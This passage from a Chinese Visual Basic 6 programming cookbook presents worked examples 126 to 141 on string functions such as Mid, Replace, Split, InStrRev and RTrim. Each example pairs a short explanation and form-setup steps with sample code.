图5.5　在字符串中提取部分字符



关键技术

本实例主要是通过使用Mid函数和Val函数来实现的。

首先通过Val函数将符合条件的字符串转换为数字，再用Mid函数获取包含字符串中指定数量的字符。

Mid函数用于返回Variant （String），其中包含字符串中指定数量的字符，语法如下：



Mid(string, start[, length])




参数说明

❶string：必选参数。字符串表达式，从中返回字符。如果string包含Null，将返回Null。

❷start：必选参数。为Long。string中被取出部分的字符位置。如果start超过string的字符数，Mid返回零长度字符串（""）。

․ length：可选参数；为Variant（Long）。要返回的字符数。如果省略或length超过文本的字符数（包括start处的字符），将返回字符串中从start到尾端的所有字符。

下面示例使用Mid函数来得到某个字符串中的几个字符。



MyStr =Mid ("changchun university", 1,3)       '变量MyStr中的值为"cha"
MyStr =Mid ("changchun university", 3,3)       '变量MyStr中的值为"ang"





说明：
 Val函数的详细讲解请参见实例019中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“在字符串中提取部分字符”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个TextBox控件，用于输入和显示各种信息；添加两个Label控件，将Caption属性分别设置为“起点”和“长度”；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text2.Text = Mid(Text1, Val(Text3), Val(Text4))
End Sub




秘笈心法

心法领悟126：获得一个字符串中数字的个数。

本实例用于实现在一个字符和数字混合的字符串中获得数字的个数。具体的设计思路如下：

利用IsNumeric函数判断字符串中指定的字符是否为数字。并利用循环语句对字符串中的每个字符都进行判断，如果指定字符为数字，就给计数器加1，直到循环结束。最后显示计数器的结果。代码如下：



Private Sub Command1_Click()
    Dim i, j As Integer
    j = 0
    dim str as string
    str=“abcd123"
    For i = 1 To Len(str)
        If IsNumeric(Mid(str, i, 1)) Then
            j = j + 1
        End If
    Next i
    Text1.Text = j
End Sub




Text1中的显示结果为3。



 实例127　利用IsNumeric函数判断是否为数字

光盘位置：光盘\MR\05\127

中级

趣味指数：[image: ]




实例说明

利用IsNumeric函数可以判断一个变量是否是数字，如果是返回True，否则返回False。例如，本例在文本框中输入“36598526”，单击“确定”按钮，则可对文本框中的字符串进行判断，显示结果如图5.6所示。

[image: ]
图5.6　利用IsNumeric函数判断是否为数字



关键技术

本实例主要是通过使用CStr函数和IsNumeric函数来实现的。


说明：
 （1）CStr函数的详细讲解请参见实例026中的关键技术。

（2）IsNumeric函数的详细讲解请参见实例079中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断输入是否全部为数字”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于输入信息；添加一个Label控件，用于显示判断信息；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim MyVar, MyCheck
    MyVar = CStr(Text1)
    MyCheck = IsNumeric(MyVar)
    Label1.Caption = MyCheck
End Sub




秘笈心法

心法领悟127：判断指定个数的字符串是否为数字。

Like运算符可用于比较两个字符串，同时也能判断指定个数的字符串是否为数字（或其他字符）。例如，判断文本框中前4位是否是数字，代码如下：



    If Not Text1.Text Like "####" Then
        MsgBox "文本框中输入的前4位字符不是数字！"
    End If






 实例128　统计某个字符在一个字符串变量中的出现次数

光盘位置：光盘\MR\05\128

中级

趣味指数：[image: ]




实例说明

在本实例中首先利用Mid函数获取字符串中的指定字符，然后利用循环语句对字符串中所有的字符与某个字符进行比较，如果相同，计数器加1，最后返回计数器数值。运行本实例程序后在文本框Text1中输入字符串“welcome to beijing”，在文本框Text2中输入字母“e”，单击“确定”按钮，显示结果如图5.7所示。

[image: ]
图5.7　统计某个字符在一个字符串变量中出现次数



关键技术

本实例主要是通过使用Len函数、Left函数和Mid函数来实现的。

Left函数用于返回Variant （String），其中包含字符串中从左边算起指定数量的字符，语法如下：



Left(string, length)




参数说明

❶string：必选参数。字符串表达式，其中最左边的那些字符将被返回。如果string包含Null，将返回Null。

❷length：必选参数；为Variant（Long）。数值表达式，指出将返回多少个字符。如果为0，返回零长度字符串（""）。如果大于或等于string的字符数，则返回整个字符串。

下面示例使用Left函数来得到某字符串最左边的几个字符。



Str = Left("changchun university", 2)       '变量Str中的值为"ch"
Str = Left("changchun university", 12)      '变量Str中的值为"changchun un"





说明：
 （1）Len函数的详细讲解请参见实例087中的关键技术。

（2）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“统计某个字符在一个字符串变量中出现次数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串或字符；添加两个Label控件，将Caption属性设置为“字母”和“出现3次”；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim i, j As Integer
    j = 0
    For i = 1 To Len(Text1)
        If Mid(Text1, i, 1) = Left(Text2,1) Then
            j = j + 1
        End If
    Next i
    Label1.Caption = "出现" & j & "次"
End Sub




秘笈心法

心法领悟128：在字符串中添加多个空格。

利用Space函数可以返回指定长度的空格，格式：space（I），I确定空格的个数。例如，下面的代码实现的是在HelloWorld中添加10个空格。



MyString = "Hello" & Space(10) & "World"     '将10个空格插入“HelloWorld”中






 实例129　判断字符串中某一字符是否大写

光盘位置：光盘\MR\05\129

中级

趣味指数：[image: ]




实例说明

在本实例中首先利用Mid函数获取字符串中指定位的字符，然后用Asc函数获取ASCII码。如果ASCII码在65～90范围内就为大写字母。例如，本实例判断文本框Text2中字符串第一位是否为大写，单击“确定”按钮，显示结果如图5.8所示。

[image: ]
图5.8　判断字符串中某一字符是否大写



关键技术

本实例主要是通过使用Asc函数和Mid函数来实现的。


说明：
 （1）Asc函数的详细讲解请参见实例122中的关键技术。

（2）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断字符串中某一字符是否大写”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，分别用于输入字符串和显示有几位为大写字母；添加两个Label控件，将Caption属性分别设置为“第”和“位为大写”；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    If Asc(Mid(Text1, Val(Text2), 1)) >= 65 And Asc(Mid(Text1, Val(Text2), 1)) <= 90 Then
        Label2.Caption = "大写"
    Else
        If Asc(Mid(Text1, Val(Text2), 1)) >= 97 And Asc(Mid(Text1, Val(Text2), 1)) <= 122 Then
            Label2.Caption = "小写"
        End If
    End If
End Sub




秘笈心法

心法领悟129：处理字符串越界。

在声明字符串变量时后面加上*I（数字I代表限定字符串的长度），可以限制输入字符串的长度。关键代码如下：



Dim i As String * 10
    i = "123456789012"
Text1.Text = i    '输出的结果为"1234567890"






 实例130　判断字符串是否为日期或时间

光盘位置：光盘\MR\05\130

初级

趣味指数：[image: ]




实例说明

本实例利用IsDate函数对字符串是否符合日期格式进行判断。如果符合则为True，否则为False。例如，本实例在文本框Text1中输入日期，单击“确定”按钮进行判断，显示结果如图5.9所示。

[image: ]
图5.9　判断字符串是否为日期或时间



关键技术

本实例主要是通过使用IsDate函数来实现的。IsDate函数用于返回Boolean值，指出一个表达式是否可以转换成日期，语法如下：



IsDate(expression)




参数说明

expression：必选参数。expression参数是一个Variant，包含日期表达式或字符串表达式，这里的字符串表达式是可以作为日期或时间来认定的。


注意：
 如果表达式是一个日期，或可以作为有效日期识别，则IsDate返回True；否则返回False。在Microsoft Windows中，有效日期的范围介于公元100年1月1日与公元9999年12月31日之间；其有效范围随操作系统的不同而不同。

下面示例使用IsDate函数判断表达式是否可以转换为日期格式，如果可以则返回True，否则返回False。



MyDate = "February 12, 2004": YourDate = #2005-06-09#: NoDate1 = "你好":NoDate2=#2004-13-07#
DateStr = IsDate(MyDate)         '返回值为True
DateStr = IsDate(YourDate)       '返回值为True
DateStr = IsDate(NoDate1)        '返回值为False
DateStr = IsDate(NoDate2)        '返回值为False




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断字符串是否为日期或时间”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，分别用于输入字符串和显示该字符串是否为日期；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    If IsDate(Text1) = True Then
        Text2.Text = "是日期"
    Else
        Text2.Text = "不是日期"
    End If
End Sub




秘笈心法

心法领悟130：字符串颠倒小知识。

利用StrReverse函数可以颠倒字符串的排列顺序。格式：StrReverse（string）。如下面的代码用于将字符串abc倒序输出，代码如下：



Text1.Text = StrReverse("abc")  '输出的结果为"cba"






 实例131　判断获得字符串中大写字符的个数

光盘位置：光盘\MR\05\131

中级

趣味指数：[image: ]




实例说明

[image: ]
图5.10　获得字符串中大写字符的个数



本实例中首先利用Mid函数获取字符串中指定位的字符，然后用Asc函数获取ASCII码。如果ASCII码在65～90范围内就为大写字母。用Asc、Mid函数以及循环语句对字符串中每个字符进行判断。如果是大写字符就给计数器加1。例如，本实例获取文本框Text1的字符串中为大写字符的个数，单击“确定”按钮即可显示字符串中的大写字符个数，显示结果如图5.10所示。

关键技术

本实例主要是通过使用Len函数、Asc函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目，使用Asc函数返回字符串中首字母的字符代码，使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见本章实例087中的关键技术。

（2）Asc函数的详细讲解请参见本章实例122中的关键技术。

（3）Mid函数的详细讲解请参见本章实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获得字符串中大写字符的个数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串；添加一个Label控件，将Caption属性设置为“大写”；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim i, j As Integer
    j = 0
    For i = 1 To Len(Text1)
        If Asc(Mid(Text1, i, 1)) >= 65 And Asc(Mid(Text1, i, 1)) <= 90 Then
            j = j + 1
        End If
    Next i
    Text2.Text = j
End Sub




秘笈心法

心法领悟131：处理将数值型转换为字符型过程中遗留下的空格。

将数值型数据转换为字符型，但在转换过程中出现了空格。如下代码：



MyVal = 4972266
MyStr = Str(MyVal)
'结果
MyStr = " 4972266"




可以使用Trim函数将空格去掉。其具体实现代码如下：



MyStr = Trim(Str(MyVal))
'结果
MyStr = "4972266"






 实例132　巧截字符串的数字

光盘位置：光盘\MR\05\132

中级

趣味指数：[image: ]




实例说明

[image: ]
图5.11　巧截字符串的数字



在本实例中利用IsNumeric以及Mid函数和For循环语句对字符串中每一位进行判断，如果是数字类型就添加到数字类型的字符串当中。运行本例程序，在文本框Text1中输入字符串“www.163.com”，单击“确定”按钮，在文本框Text2中显示在文本框Text1中的字符串中所有数字，显示结果如图5.11所示。

关键技术

本实例主要是通过使用Len函数、IsNumeric函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目；使用IsNumeric函数指出表达式的运算结果是否为数字；使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见本章实例087中的关键技术。

（2）IsNumeric函数的详细讲解请参见本章实例079中的关键技术。

（3）Mid函数的详细讲解请参见本章实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“巧截字符串的数字”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim i, temp
    temp = ""
    For i = 1 To Len(Text1)
        If IsNumeric(Mid(Text1, i, 1)) Then
            temp = temp & Mid(Text1, i, 1)
        End If
    Next i
    Text2.Text = temp
End Sub




秘笈心法

心法领悟132：优化字符串添加操作。

使用+与&操作符来执行字符串添加操作速度是相当慢的，特别是处理长字符串。必须重复地在同一字符串上附加字符。然而，若先预留一个足够长的空间存放操作的结果，然后使用Mid语句向其中添加字符串，那么操作速度将大大提高。主要代码如下：



Test = Space(90000)
Pointer = 1
For Insert = 1 To 10000
Stri = Str(Insert)
Length = Len(Stri)
Mid(Test, Pointer, Length) = Stri
Pointer = Pointer + Length
Next






 实例133　计算字符串中子字符串出现的次数

光盘位置：光盘\MR\05\133

中级

趣味指数：[image: ]




实例说明

[image: ]
图5.12　计算字符串中子字符串出现的次数



利用Mid函数可获得字符串的指定起点和长度的子字符串。利用循环语句结合Mid函数获取文本框内字符串中的子字符串并与指定字符串进行比较，如果相同计数器就加1。循环结束返回指定字符串的出现次数。例如，本例在文本框Text1中输入字符串“abc”，在文本框Text2中输入字符串“abcabcdabc”，单击“确定”按钮，将显示文本框Text2中的字符串在文本框Text1中出现的次数，显示结果如图5.12所示。

关键技术

本实例主要是通过使用Len函数、Asc函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目，使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见本章实例087中的关键技术。

（2）Mid函数的详细讲解请参见本章实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“计算字符串中子字符串出现的次数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串；添加两个Label控件，将Label1的Caption属性设置为“在”；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim j As Integer
    j = 0
    For i = 1 To Len(Text1)
        If Mid(Text1, i, 3) = Text2 Then
            j = j + 1
        End If
    Next i
    Label2.Caption = "出现" & j & "次"
End Sub




秘笈心法

心法领悟133：如何获得一个字符串的长度。

利用Len函数可以获得字符串内字符的数目。例如，本例获取字符串abc的长度。关键代码如下：



Text1.Text = Len("abc")    '输出为3






 实例134　判断某一字符是否在字符串中

光盘位置：光盘\MR\05\134

中级

趣味指数：[image: ]




实例说明
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图5.13　判断某一字符是否在字符串中



利用InStr函数获得一字符串在另一字符串中的位置，如果字符串在另一字符串中出现，则InStr返回值大于0。所以利用返回值是否为0来进行判断。例如，本实例在文本框Text1中输入字符串，在文本框Text2中输入另一字符串，单击“确定”按钮进行判断，显示结果如图5.13所示。

关键技术

本实例主要是通过使用InStr函数来实现的。使用InStr函数返回Variant（Long），指定一字符串在另一字符串中最先出现的位置。


说明：
 InStr函数的详细讲解请参见本章实例125中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断某一字符是否在字符串中”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串；添加一个Label控件，将Caption属性设置为“包含”；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    If InStr(1, Text1, Text2, vbTextCompare) > 0 Then
        Label1.Caption = "包含"
    Else
        Label1.Caption = "不包含"
        End If
End Sub




秘笈心法

心法领悟134：只获得字符串中某个数字在数字类型字符串中的位置。

利用InStr函数可以判断指定字符串在另一个字符串中最早出现的位置。利用InStr函数获得某数字在字符串中的位置后，从该位置从后往前判断，如果是数字类型计数器就加1。最后计数器的结果就是某数字在字符串中的数字类型字符串中的位置。例如，本实例获取数字3在字符串abcd1234中数字类型字符串中的位置，代码如下：



Private Sub Command1_Click()
    Dim i
    i = InStr(1, "abcd1234", "3", vbTextCompare)    '判断数字3在字符串中的位置
    Dim j, p
    p = 0
    For j = i To 1 Step -1
    If IsNumeric(Mid("abcd1234", j, 1)) Then        '判断是否为数字类型
        p = p + 1                        '如果是数字类型计数器加1
    End If
    Next j
    Text1.Text = p                       '显示结果"3"
End Sub





 5.3　字符串处理



 实例135　在字符串中用一子串替换另一子串

光盘位置：光盘\MR\05\135

中级

趣味指数：[image: ]




实例说明

利用Replace函数可以把字符串中指定的子字符串替换为其他字符串。

例如，本实例把文本框Text1中的字符串的第2、第3位替换为字符串o。单击“替换”按钮显示替换后的结果，如图5.14所示。

[image: ]
图5.14　在字符串中用一子串替换另一子串



关键技术

本实例主要是通过使用Replace函数来实现的。利用Replace函数返回一个字符串，该字符串中指定的子字符串已被替换成另一子字符串，并且替换发生的次数也是指定的，语法如下：



Replace(expression, find, replacewith[, start[, count[, compare]]])




Replace函数中各参数的说明如表5.5所示。

表5.5　Replace函数中各部分的说明



	参数
	说明



	expression
	必选参数。字符串表达式，包含要替换的子字符串



	find
	必选参数。要搜索到的子字符串



	replacewith
	必选参数。用来替换的子字符串



	start
	可选参数。在表达式中子字符串搜索的开始位置。如果忽略，假定从1开始



	count
	可选参数。子字符串进行替换的次数。如果忽略，默认值为-1，它表明进行所有可能的替换



	compare
	可选参数。数字值，表示判别子字符串时所用的比较方式。关于其值，请参阅表5.3中“值”部分




compare参数的设置如表5.3所示。

Replace函数的返回值如表5.6所示。

表5.6　Replace函数的返回值



	如果
	Replace函数返回值



	expression长度为0
	零长度字符串（""）



	expression为Null
	一个错误



	find长度为0
	expression的复本



	replacewith长度为0
	expression的复本，其中删除了所有出现的find 的字符串



	start > Len（expression）
	长度为0的字符串



	count is 0
	expression的复本




下面的示例是利用Replace函数返回字符串。



Dim MyString
'二进制比较从字符串左端开始。返回值为"www.mingrisoft.com"
MyString = Replace("www.mGngrisoft.com", "G", "i", , , vbBinaryCompare)
'文本比较从第二个字符开始，替换数量为1。返回值为" ww.mingrisoft.com"
MyString = Replace("www.mGngrisoft.com", "g", "i", 2, 1, vbTextCompare)




下面的示例实现替换字符串中的单引号。



mystr = Replace(mystr, "'", "''")




下面的示例实现替换空白变成0，Replace函数下面的示例实现替换文本中指定字符。



Dim MyValue As String
Dim MyValue1 As String
MyValue = InputBox("请输入被替换的字符串", "把字符串中的一子串替换为另一子串", "zmhh")
MyValue1 = InputBox("请输入替换的字符串", "把字符串中的一子串替换为另一子串", "wjj")
Text2.Text = Replace(Text1.Text, MyValue, MyValue1)




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“在字符串中用一子串替换另一子串”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加3个TextBox控件，用于输入或显示字符串；添加两个Label控件，将Caption属性设置为“替换2，3位”和“显示结果”；添加一个CommandButton控件，将Caption属性设置为“替换”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text3.Text = Replace(Text1, Mid(Text1, 2, 2), Text2)
End Sub




秘笈心法

心法领悟135：判断用户录入的数据是否为空。

下面介绍两种方法判断用户录入的数据是否为空，以文本框1要输入的内容为科目编号为例。

方法1：使用If语句判断“科目编号”文本框是否为空，代码如下：



If Text1.text="" Then Msgbox "科目编号不允许为空"




方法2：使用If语句判断“科目编号”文本框中文本的长度是否为0，代码如下：



If Len(Text1.text)=0 Then Msgbox "科目编号不允许为空"






 实例136　如何将一行字符串分成一列字符

光盘位置：光盘\MR\05\136

中级

趣味指数：[image: ]




实例说明

利用Mid函数返回字符串中指定的字符。用循环语句把字符串中的每个字符传递给数组中相应的元素。在显示结果后加上Chr（13）&Chr（10），就可以把一行字符串分成一列。

例如，把spring分成一列。单击“确定”按钮，显示结果如图5.15所示。

[image: ]
图5.15　将一行字符串分成一列字符



关键技术

本实例主要是通过使用Len函数、Chr函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目，使用Chr函数返回指定的字符代码相关的字符，使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见本章实例087中的关键技术。

（2）Chr函数的详细讲解请参见本章实例082中的关键技术。

（3）Mid函数的详细讲解请参见本章实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“将一行字符串分成一列字符”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串和显示信息，将Text2的MultiLine属性设置为TRUE；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim str As String
    str = Text2
    Dim i(100)
    Dim j, k As Integer
    For j = 1 To Len(str)
        i(j) = Mid(str, j, 1)
    Next j
    Text1.Text = ""
    For k = 1 To Len(str)
        Text1.Text = Text1 & Chr(13) & Chr(10) & i(k)
    Next k
End Sub
Private Sub Text1_Change()
    If Left(Text1, 2) = Chr(13) & Chr(10) Then
        Text1.Text = Right(Text1, Len(Text1) - 2)
    End If
    If Right(Text1, 2) = Chr(13) & Chr(10) Then
        Text1.Text = Left(Text1, Len(Text1) - 2)
    End If
End Sub




秘笈心法

心法领悟136：获取日期中的年份。

由于每个计算机区域设置中的日期格式不同，因此在获取当前系统日期中的年份时，应首先使用格式化函数，将系统日期格式化为yyyy-mm-dd的格式，然后再使用Left函数获取该日期左边的4位。具体代码如下：



Text1.text = left(format(date,"yyyy-mm-dd"),4)






 实例137　根据标点符号分行

光盘位置：光盘\MR\05\137

中级

趣味指数：[image: ]




实例说明

利用Split函数根据指定字符对字符串进行拆分，并将拆分结果传给数组中相应的元素。

Split函数格式：Split（string,I,J）。string为要进行拆分的字符串，数字I为返回的字符串长度，数字J代表比较方式。

下面的代码实现的是当在字符串中发现“.”号时，则换行输出。

例如，本实例对字符串www.mingribook.com根据标点“.”单击“分行”按钮进行分行，显示结果如图5.16所示。

[image: ]
图5.16　根据标点符号分行



关键技术

本实例主要是通过使用Split函数来实现的。


说明：
 Split函数的详细讲解请参见实例051中的关键技术。

下面的示例利用Split函数从字符串www.mingrisoft.com中返回字符串数组。



Dim MyString, MyArray
MyString = Split("www.mingrisoft.com", ".", -1, 1)
' MyString(0) 包含"www"
' MyString(1) 包含"mingrisoft"
' MyString(2) 包含 "com"
MsgBox MyString(0) & MyString(1) & MyString(2)




下面的示例利用Split函数获得RichTextBox1控件中的文本行数。



Dim str, mylb As String
Dim myrows, i
With RichTextBox1
Dim myarray() As String
myarray = Split(.Text, vbCrLf)
myrows = UBound(myarray) – 1
msgbox(myrows)




下面的示例利用Split函数提取数据表中的字段名称和字段大小。



Arr_field = Split(Fields, ";")  '数据表中字段之间用";"分隔
For i = LBound(Arr_field()) To UBound(Arr_Campos())
   Arr_NomeTipo = Split(Arr_field(i), "##")   '字段名称和字段大小用"##"分隔
Next




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何根据标点符号分行”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，将Caption属性设置为“根据标点符号分行”；添加两个TextBox控件，将Text1的MultiLine属性设置为True；添加一个CommandButton控件，将Caption属性设置为“分行”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim i() As String
    i = Split(Text2, ".", -1, 1)
    Dim j As Integer
    For j = 0 To UBound(i) 
        Text1.Text = Text1 & Chr(13) & Chr(10) & i(j)
    Next j
End Sub




秘笈心法

心法领悟137：在Select查询语句中使用Mid函数。

Mid函数也可以应用在Select查询语句中。例如，从人员数据表中选取“姓名”字段的第二个字符是“小”的记录数据，其关键代码如下：



Select * from 人员表 where mid(姓名,2,1)=’小’






 实例138　去掉字符串中所有空格

光盘位置：光盘\MR\05\138

中级

趣味指数：[image: ]




实例说明

在本实例中利用Replace函数可把字符串中指定的子字符串替换为零长度字符串实现去掉所有空格的功能。运行程序，在文本框Text1中输入字符串“m in g ri soft”，单击“确定”按钮后在文本框Text2中将显示去除文本框Text1中所有空格后的字符串，显示结果如图5.17所示。

[image: ]
图5.17　去掉字符串中所有空格



关键技术

本实例主要是通过使用Replace函数来实现的。Replace函数返回一个字符串，该字符串中指定的子字符串已被替换成另一子字符串，并且替换发生的次数也是指定的。


说明：
 Replace函数的详细讲解请参见实例135中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何去掉字符串中所有空格”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入和显示字符串信息；添加一个Label控件，将Caption属性设置为“去除后”；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text2.Text = Replace(Text1, " ", "")
End Sub




秘笈心法

心法领悟138：清除字符串中指定的字符。

在一个长篇文档中，要删除其中多处包含同一字符的字符，可以使用循环语句、InStr、Left和Mid函数。例如，在RichTextBox1中显示的文档中清除用户不需要的字符，代码如下：



  Dim i As Integer, res As String
  res = RichTextBox1.Text
  Do While InStr(res, Text1.Text)
  i = InStr(res, Text1.Text)
  res = Left(res, i - 1) & Mid(res, i + 1)
  Loop
  RichTextBox1.Text = res




在上述代码中，Text1控件用于用户输入要清除的字符。



 实例139　去除字符串尾空格

光盘位置：光盘\MR\05\139

初级

趣味指数：[image: ]




实例说明

[image: ]
图5.18　去除字符串尾空格



在本实例中利用RTrim函数可以去除字符串尾部的所有空格（LTrim函数则去除字符串开头的所有空格）。运行程序，在文本框Text1中输入字符串“Love”，单击“确定”按钮，则在文本框Text2中显示去掉文本框Text1中字符串后面的空格后的字符串，显示结果如图5.18所示。

关键技术

本实例主要是通过RTrim函数来实现的。RTrim函数返回Variant （String），其中包含指定字符串的备份，没有尾随空白，语法如下：



RTrim(string)




参数说明

string：必选参数。string参数可以是任何有效的字符串表达式。如果string包含Null，将返回Null。

下面示例利用RTrim函数将某字符串的结尾的空格全部去除。



TrimString = RTrim("  abcdefg  ")   ' TrimString = "  abcdefg"




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何去除字符串尾空格”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串信息和显示信息；添加一个Label控件，将Caption属性设置为“去除后”；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text2.Text = RTrim(Text1)
End Sub




秘笈心法

心法领悟139：App.Path与函数CurDir的区别。

App.Path与函数CurDir同样可以获得应用程序处在操作系统当前的路径，但CurDir函数只有程序生成可执行文件后才能获得应用程序处在操作系统当前的路径。


 5.4　字符串位置与长度



 实例140　获得中英文混合字符串的字节长度

光盘位置：光盘\MR\05\140

中级

趣味指数：[image: ]




实例说明

获得中英文混合字符串的字节长度不能单纯地利用Len函数来实现。因为该函数可以获得字符串内字符的个数，但是一个汉字在内存中占两个字节，一个字母占一个字节，所以要利用StrConv函数将字符串由Unicode转成系统的默认码。最后利用LenB函数返回字符串的字节数。示例结果如图5.19所示。

[image: ]
图5.19　获得中英文混合字符串的字节长度



关键技术

本实例主要是通过使用StrConv函数来实现的。


说明：
 StrConv函数的详细讲解请参见实例123中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获得中英文混合字符串的字节长度”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于输入信息；添加一个Label控件，用于显示结果；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Text1.Text = LenB(StrConv("您好123", vbFromUnicode))        '输出结果为7




秘笈心法

心法领悟140：Enum语句小知识。

具有相同名字的PublicEnum类型不能同时在标准模块和类模块中定义，因为它们共享相同的命名空间。若不同的类型库中有两个Enum类型的名字相同，但成员不同，则对这种类型的变量的引用，将取决于哪一个类型库具有更高的引用优先级。不能在With块中使用Enum类型作为目标。



 实例141　获得某个字符在一个字符串中最后出现的位置

光盘位置：光盘\MR\05\141

中级

趣味指数：[image: ]




实例说明

利用InStrRev函数可以返回指定字符串在另一字符串中最后出现的位置。本实例在文本框Text1中输入字符串“best wishes to you!”，在文本框Text2中输入字符串“es”，单击“确定”按钮，显示“es”在字符串“best wishes to you!”中最后出现的位置，显示结果如图5.20所示。

[image: ]
图5.20　获得某个字符在一个字符串中最后出现的位置



关键技术

本实例主要是通过使用InStrRev函数来实现的。利用InStrRev函数返回一个字符串在另一个字符串中出现的位置，从字符串的末尾算起，语法如下：



InStrRev(string1, string2[, start[, compare]])




InStrRev函数中各参数的说明如表5.7所示。

表5.7　InStrRev函数中的参数说明



	参数
	说明



	string1
	必选参数。要执行搜索的字符串表达式



	string2
	必选参数。要搜索的字符串表达式



	start
	可选参数。数值表达式，设置每次搜索的开始位置。如果忽略，则使用-1，它表示从上一个字符位置开始搜索。如果start包含Null，则产生一个错误



	compare
	可选参数。数字值，指出在判断子字符串时所使用的比较方法。如果忽略，则执行二进制比较。关于其值，请参阅表5.3中的“值”部分




compare参数的设置如表5.3所示。

InStrRev的返回值如表5.8所示。

表5.8　InStrRev返回值



	如果
	InStrRev返回



	string1为0长度
	0



	string1为Null
	Null



	string2为0长度
	Start



	string2为Null
	Null



	string2找不到
	0



	string2在string1中找到
	找到匹配字符串的位置



	start > Len（string2）
	0




下面示例实现查找w在www.mingrisoft.com字符串中出现的位置。



Dim myval As Variant
myval = InStrRev("www.mingrisoft.com", "w")         '变量myval的返回值为3
Debug.Print myval




下面示例根据文件名分离各编号。



Dim L1 As Long
Dim L2 As Long
L1 = InStr(1, sParam, "-", vbTextCompare)
L2 = InStrRev(sParam, "-", , vbTextCompare)




下面示例判断路径分隔符的位置。



Dim n As Integer
n = InStrRev(dirList.Path, "\")
strPath = Left(dirList.Path, n - 1)                '取得所要更改的文件夹的名称，以及该文件夹所在的路径
